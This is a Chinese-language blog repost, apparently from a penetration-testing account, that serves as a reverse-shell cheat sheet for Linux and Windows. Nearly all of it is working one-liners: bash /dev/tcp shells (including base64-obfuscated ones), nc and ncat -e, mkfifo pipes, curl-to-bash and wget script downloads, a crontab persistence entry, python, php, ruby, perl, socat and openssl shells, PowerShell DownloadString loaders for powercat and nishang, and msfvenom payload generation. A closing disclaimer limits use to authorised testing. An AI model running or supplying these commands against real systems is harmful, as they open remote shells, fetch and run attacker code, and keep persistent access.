close

反彈Shell-Linux

【監聽端】centos: 192.168.35.152【被控端】kali: 192.168.35.128 # 監聽端執行[root@localhost ~]# nc -vvl 7777Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::7777Ncat: Listening on 0.0.0.0:7777

bash

┌──(root@kali)-[/home/kali]└─# bash -i >& /dev/tcp/192.168.35.152/7777 0>&1 # 執行失敗 zsh: 沒有那個文件或目錄: /dev/tcp/192.168.35.152/7777

bash base64

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'

bash base64 URLencode

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'

nc

nc -e /bin/bash 192.168.35.152 7777mknod backpipe p && nc 192.168.35.152 7777 0<backpipe | /bin/bash 1>backpipe rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.35.152 7777 >/tmp/f

ncat

ncat 192.168.35.152 7777 -e /bin/bashncat --udp 192.168.35.152 7777 -e /bin/bash

curl

攻擊方:

cat bash.html/bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

被控端:

curl 192.168.35.152/bash.html|bash

http

攻擊方:

# 編寫shell腳本並啟動http服務器echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.shpython2環境下:python -m SimpleHTTPServer 80python3環境下:python -m http.server 80

被控端:

# 上傳shell.sh文件wget 192.168.35.152/shell.sh# 執行shell.sh文件bash shell.sh

crontab

* * * * * root bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

whois

# 只能執行指定命令,如pwd命令whois -h 192.168.35.152 -p 7777 `pwd`

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.35.152",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.35.152",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' # 執行失敗ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.35.152","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

socat

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777

perl

perl -e 'use Socket;$i="192.168.35.152";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

openssl

# 監聽端openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 7777# orncat --ssl -vv -l -p 7777# 受控端mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.35.152:7777 > /tmp/s; rm /tmp/s

反彈Shell-Windows

Windows下的反彈shell僅測試了nc,執行成功。

【監聽端】centos: 192.168.35.152【被控端】windows: 192.168.35.1 # 監聽端執行[root@localhost ~]# nc -vvl 7777Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::7777Ncat: Listening on 0.0.0.0:7777

powercat

項目地址:https://github.com/besimorhino/powercat

System.Net.Webclient.DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.35.152 -p 7777 -e cmd

nc

nc 192.168.35.152 7777 -e c:\windows\system32\cmd.exe

nishang

Nishang是一個基於PowerShell的攻擊框架,整合了一些PowerShell攻擊腳本和有效載荷,可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型shell。

項目地址:https://github.com/samratashok/nishang

# 將nishang下載到攻擊者本地,在目標機使用powershell執行以下命令IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.35.152 -port 7777

Reverse UDP shell

IEX (New-Object Net.WebClient).DownloadString('http://192.168.35.152/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.35.152 -port 7777

MSF

# 找出各類反彈一句話payload的路徑信息msfvenom -l payloads | grep 'cmd/windows/reverse'# 生成反彈shell,複製粘貼到靶機上運行msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.35.152 LPORT=7777

聲明:本公眾號所分享內容僅用於網安愛好者之間的技術討論,禁止用於違法途徑,所有滲透都需獲取授權!否則需自行承擔,本公眾號及原作者不承擔相應的後果。本文轉自:滲透師老A

熱文推薦

藍隊應急響應姿勢之Linux
通過DNSLOG回顯驗證漏洞
記一次服務器被種挖礦溯源
內網滲透初探 | 小白簡單學習內網滲透
實戰|通過惡意 pdf 執行 xss 漏洞
免殺技術有一套(免殺方法大集結)(Anti-AntiVirus)
內網滲透之內網信息查看常用命令
關於漏洞的基礎知識
任意賬號密碼重置的6種方法
乾貨 | 橫向移動與域控權限維持方法總匯
手把手教你Linux提權

歡迎關注LemonSec

推薦閱讀↓↓↓

覺得不錯點個「贊」、「在看」

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()